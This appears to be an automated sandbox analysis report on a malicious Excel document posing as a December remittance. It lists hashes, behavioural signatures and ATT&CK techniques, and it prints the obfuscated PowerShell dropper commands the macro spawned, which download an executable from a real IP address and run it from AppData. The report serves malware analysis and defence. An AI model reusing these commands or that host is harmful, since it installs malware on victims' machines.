49638c7502de579d5d7afa8081710d51193fb91b96055283a3af8b28b4e0721e

Analysis

max time kernel
118s
max time network
117s
platform
windows7_x64
resource
win7v20201028
submitted
22-12-2020 06:52

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General

Target

remittance for the month of Dec.xls
Size

238KB
MD5

2630facfc34c2f673ed8df90e6605c56
SHA1

2c462db9f695db91d9c61d961f8a7ddb48d62b57
SHA256

49638c7502de579d5d7afa8081710d51193fb91b96055283a3af8b28b4e0721e
SHA512

7d1f5c107341321005b9a9dc3b2b166fc8af34f9202bb865172a03e328391741eb827104c4418ba2fd093286090ff2d82518a5bf083b7b59e3701b297890f8a9

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://45.15.143.142/fa.exe

Signatures

Process spawned unexpected child process 3 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

powershell.exepowershell.exepowershell.exe

description	pid	pid_target	process	target process
Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process	1972	2044	powershell.exe	EXCEL.EXE
Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process	1976	2044	powershell.exe	EXCEL.EXE
Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process	1772	2044	powershell.exe	EXCEL.EXE

Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

6 1972 powershell.exe
Deletes itself 1 IoCs

Processes:

EXCEL.EXE

pid process

2044 EXCEL.EXE
Office loads VBA resources, possible macro or embedded object present
Enumerates system info in registry 2 TTPs 1 IoCs

Query Registry
T1012

System Information Discovery
T1082

Processes:

EXCEL.EXE

description ioc process

Key opened \REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor EXCEL.EXE

flow	pid	process
6	1972	powershell.exe

pid	process
2044	EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor	EXCEL.EXE

Modifies Internet Explorer settings 1 TTPs 9 IoCs

adware spyware

Modify Registry

T1112

Processes:

EXCEL.EXE

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Toolbar	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105"	EXCEL.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55"	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000"	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes"	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt	EXCEL.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1"	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

2044 EXCEL.EXE
Suspicious behavior: EnumeratesProcesses 3 IoCs

Processes:

powershell.exepowershell.exepowershell.exe

pid process

1976 powershell.exe
1972 powershell.exe
1772 powershell.exe
Suspicious behavior: RenamesItself 1 IoCs

Processes:

EXCEL.EXE

pid process

2044 EXCEL.EXE
Suspicious use of AdjustPrivilegeToken 3 IoCs

Processes:

powershell.exepowershell.exepowershell.exe

description pid process

Token: SeDebugPrivilege 1976 powershell.exe
Token: SeDebugPrivilege 1772 powershell.exe
Token: SeDebugPrivilege 1972 powershell.exe
Suspicious use of SetWindowsHookEx 3 IoCs

Processes:

EXCEL.EXE

pid process

2044 EXCEL.EXE
2044 EXCEL.EXE
2044 EXCEL.EXE

pid	process
2044	EXCEL.EXE

pid	process
1976	powershell.exe
1972	powershell.exe
1772	powershell.exe

pid	process
2044	EXCEL.EXE

description	pid	process
Token: SeDebugPrivilege	1976	powershell.exe
Token: SeDebugPrivilege	1772	powershell.exe
Token: SeDebugPrivilege	1972	powershell.exe

pid	process
2044	EXCEL.EXE
2044	EXCEL.EXE
2044	EXCEL.EXE

Suspicious use of WriteProcessMemory 12 IoCs

Processes:

EXCEL.EXE

description	pid	process	target process
PID 2044 wrote to memory of 1972	2044	EXCEL.EXE	powershell.exe
PID 2044 wrote to memory of 1972	2044	EXCEL.EXE	powershell.exe
PID 2044 wrote to memory of 1972	2044	EXCEL.EXE	powershell.exe
PID 2044 wrote to memory of 1972	2044	EXCEL.EXE	powershell.exe
PID 2044 wrote to memory of 1976	2044	EXCEL.EXE	powershell.exe
PID 2044 wrote to memory of 1976	2044	EXCEL.EXE	powershell.exe
PID 2044 wrote to memory of 1976	2044	EXCEL.EXE	powershell.exe
PID 2044 wrote to memory of 1976	2044	EXCEL.EXE	powershell.exe
PID 2044 wrote to memory of 1772	2044	EXCEL.EXE	powershell.exe
PID 2044 wrote to memory of 1772	2044	EXCEL.EXE	powershell.exe
PID 2044 wrote to memory of 1772	2044	EXCEL.EXE	powershell.exe
PID 2044 wrote to memory of 1772	2044	EXCEL.EXE	powershell.exe

C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde "C:\Users\Admin\AppData\Local\Temp\remittance for the month of Dec.xls"
1⤵
- Deletes itself
- Enumerates system info in registry
- Modifies Internet Explorer settings
- Suspicious behavior: AddClipboardFormatListener
- Suspicious behavior: RenamesItself
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2044

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -w 1 (nEw-oB`jecT Net.WebcL`IENt).('Down'+'loadFile').Invoke('http://45.15.143.142/fa.exe','ps.exe')
2⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1972

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -w 1 stARt`-slE`Ep 20; Move-Item "ps.exe" -Destination "${enV`:appdata}"
2⤵
- Process spawned unexpected child process
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1976

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -w 1 -EP bypass stARt`-slE`Ep 25; cd ${enV`:appdata};.('.'+'/ps.exe')
2⤵
- Process spawned unexpected child process
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1772

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_3bf4f350-86fe-486e-8b87-41ab96d0ad9c
MD5
b6d38f250ccc9003dd70efd3b778117f

SHA1
d5a17c02cac698d4f0a4a9b7d71db2aa19e3f18a

SHA256
4de9d7b5ccab7b67ca8efc83084c7ee6e5e872b7216ed4683bc5da950bf41265

SHA512
67d8195836b7f280d3f9219fd0f58276342e55d5dfdd8a4c54355030d96685d73f1b2b6da0eb39322ec7c3a1d1c5ef06b52d22646cea30a96f822de1800d31e9

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_4408bb97-19ee-4815-b02c-5a0939dddad8
MD5
df44874327d79bd75e4264cb8dc01811

SHA1
1396b06debed65ea93c24998d244edebd3c0209d

SHA256
55de642c5c9e436ec01c57004dae797022442c3245daf7162d19a5585f221181

SHA512
95dc9298b8db059bbe746f67e6a7f8515781c7053cc60c01532e47623a996be7e1bd23d1bd8f5f2045adff27454f44930d503c15b695690088841cedbd2a06c3

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_644b5728-e9b5-45ab-9104-7136ec814422
MD5
be4d72095faf84233ac17b94744f7084

SHA1
cc78ce5b9c57573bd214a8f423ee622b00ebb1ec

SHA256
b0d72c5c22e57913476ac8fc686a4593f137c6667d5094522c0a0685dabd7adc

SHA512
43856e9b1032b8690ceea810c931bed3655e9190414bb220fb6afc136f31b8335e07604dffb28405d4006f266a54cff424c527d29924b1b732c9647a3252b097

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_6532a425-51ae-4577-837f-c6e09d9fcfcf
MD5
75a8da7754349b38d64c87c938545b1b

SHA1
5c28c257d51f1c1587e29164cc03ea880c21b417

SHA256
bf08151c174b5d00c9dbc7907b2c6a01b4be76bfa3afce1e8bd98a04ad833c96

SHA512
798797bc74c56c874e9a5fdcb0157c04e37a1b3cce285ef064b01bceef8cec45f11a5198918c6c647220b62883606b5e12e3cca3ea369f3a66e69dea6e15f643

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_69670b6c-d49a-42a9-993a-10d18807f7c6
MD5
5e3c7184a75d42dda1a83606a45001d8

SHA1
94ca15637721d88f30eb4b6220b805c5be0360ed

SHA256
8278033a65d1ff48be4d86e11f87930d187692f59f8bf2f0a9d170de285afb59

SHA512
fae99b6e9b106e0f1c30aa4082b25ae1ad643455c1295c2c16ad534e3e611b9b08492353ffe1af1cfdddc9b2b7c330747a64012c45e62b8f4a4982dcc214e05b

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_7f45a795-9723-4ae3-b7ea-79ea7f92b87a
MD5
a725bb9fafcf91f3c6b7861a2bde6db2

SHA1
8bb5b83f3cc37ff1e5ea4f02acae38e72364c114

SHA256
51651f27f54c7261887037aa1de4eff0a26c6807906dfc34a15cd5a0b58a8431

SHA512
1c4b21dd5660bfec8347257bb3da64681b0a97c427790d9ab3484f687dac032bcff0e07876635953697b00cf83e7d37f97c44e0219627fd0533f60ed3024b97e

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_aacd219d-c7ba-43ff-a67c-9ddc2f632d63
MD5
597009ea0430a463753e0f5b1d1a249e

SHA1
4e38b8bb65ecbd5c9f0d3d8c47f7caba33de6c62

SHA256
3fd2a8217a845c43dbc0dc206c28be81d2687aa9ba62019d905aef10cfaec45d

SHA512
5d722fa908e64575b2497c60d142e182011a10c6ed33813b3b4796b3147ece1bc96938518b4c8911a1bac3b7560528ebe3e8e754c11015516d335df5d7c6871d

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_e9f9468a-8cbd-4472-b808-e8b3772f4134
MD5
02ff38ac870de39782aeee04d7b48231

SHA1
0390d39fa216c9b0ecdb38238304e518fb2b5095

SHA256
fbd66a9baf753db31b8de23f2d51b67f8676687503653103080c45b16f1dc876

SHA512
24a1ff76ee42ff7a5ea42843928c4df07b06178f7781cd840e1e086e88735d81506eb67259ff1e6ce5aaa7c5baea03886da265eb7e025ff4dc4c4b5f8cd3e341

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex
MD5
657e27ab11b503b7e8b359db1a0c60d8

SHA1
dcb10072132251c300697d4b45a9ac391c73b20a

SHA256
dbf5b92f39d9e230258e214621d1526c341d689075395eb853c55d8bb2ca46a0

SHA512
65802d864cf4ce84462d3438794d84450b1a7f4f46c818cb14cff06da0662d6485ecab0983b87426a489f64254b372d65b1b9b9b1c24d01767ccee69893eb41a

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex
MD5
55e9aa86710d11c679113844a4b540cb

SHA1
180c7398a3bff02bae9ff0e8b8fe539a5eb1191f

SHA256
b4b698a437808012e6dfda1a9b4ce2a0f158b46c132dd390b1d27f3213be26fa

SHA512
557b4d532650f89dcbe6673494182fd45a29a438a2b8d656bc1d82109221e60512e35e19bf73b7129fdaac6384293ef49e4ddd3f05899c34180dcee8dcbae2f7

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex
MD5
ef23e5f739ed9fe889530cc10defa1b3

SHA1
24c1b151a9b2418492db7fa58982ad24951b475a

SHA256
415be04b2e5a6aea00bbfeb551d69aa78d1061db18c3c9947328e2e1a3a00604

SHA512
da53ce7769edbd22c29b60cf6fe2aee3082a7d92a90662bce11907f061dbd56b2049b8ab6badc1bed945e77ebc7d75282f76df19e18112a453f06ada071226cf

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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms
MD5
7cf627de16b4ed349ee927d34abc66d9

SHA1
80275594bf68311835dac926889af7ffaf32021e

SHA256
f55d55d0591be18493621107a5971850c515292a46880ffd27be72ee965bb6e4

SHA512
fea0d9d3fc626c17a1fe7329426eff65ac832218b03f068de326be3972314af0e0b9bc80eb64d46827af92b13fb5de4debd8ac04a861bf4866323c065de28249

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms
MD5
7cf627de16b4ed349ee927d34abc66d9

SHA1
80275594bf68311835dac926889af7ffaf32021e

SHA256
f55d55d0591be18493621107a5971850c515292a46880ffd27be72ee965bb6e4

SHA512
fea0d9d3fc626c17a1fe7329426eff65ac832218b03f068de326be3972314af0e0b9bc80eb64d46827af92b13fb5de4debd8ac04a861bf4866323c065de28249

Download Submit
memory/1772-9-0x000000006BAF0000-0x000000006C1DE000-memory.dmp

Filesize
6.9MB

Download
memory/1772-4-0x0000000000000000-mapping.dmp

Download
memory/1772-37-0x00000000064D0000-0x00000000064D1000-memory.dmp

Filesize
4KB

Download
memory/1772-29-0x00000000062A0000-0x00000000062A1000-memory.dmp

Filesize
4KB

Download
memory/1772-24-0x0000000005830000-0x0000000005831000-memory.dmp

Filesize
4KB

Download
memory/1772-66-0x00000000065C0000-0x00000000065C1000-memory.dmp

Filesize
4KB

Download
memory/1772-45-0x0000000006610000-0x0000000006611000-memory.dmp

Filesize
4KB

Download
memory/1772-65-0x00000000065B0000-0x00000000065B1000-memory.dmp

Filesize
4KB

Download
memory/1772-51-0x0000000006400000-0x0000000006401000-memory.dmp

Filesize
4KB

Download
memory/1772-30-0x0000000006360000-0x0000000006361000-memory.dmp

Filesize
4KB

Download
memory/1972-10-0x00000000020A0000-0x00000000020A1000-memory.dmp

Filesize
4KB

Download
memory/1972-8-0x000000006BAF0000-0x000000006C1DE000-memory.dmp

Filesize
6.9MB

Download
memory/1972-2-0x0000000000000000-mapping.dmp

Download
memory/1972-16-0x00000000025D0000-0x00000000025D1000-memory.dmp

Filesize
4KB

Download
memory/1976-7-0x000000006BAF0000-0x000000006C1DE000-memory.dmp

Filesize
6.9MB

Download
memory/1976-3-0x0000000000000000-mapping.dmp

Download
memory/1976-13-0x0000000004900000-0x0000000004901000-memory.dmp

Filesize
4KB

Download
memory/1976-19-0x0000000002890000-0x0000000002891000-memory.dmp

Filesize
4KB

Download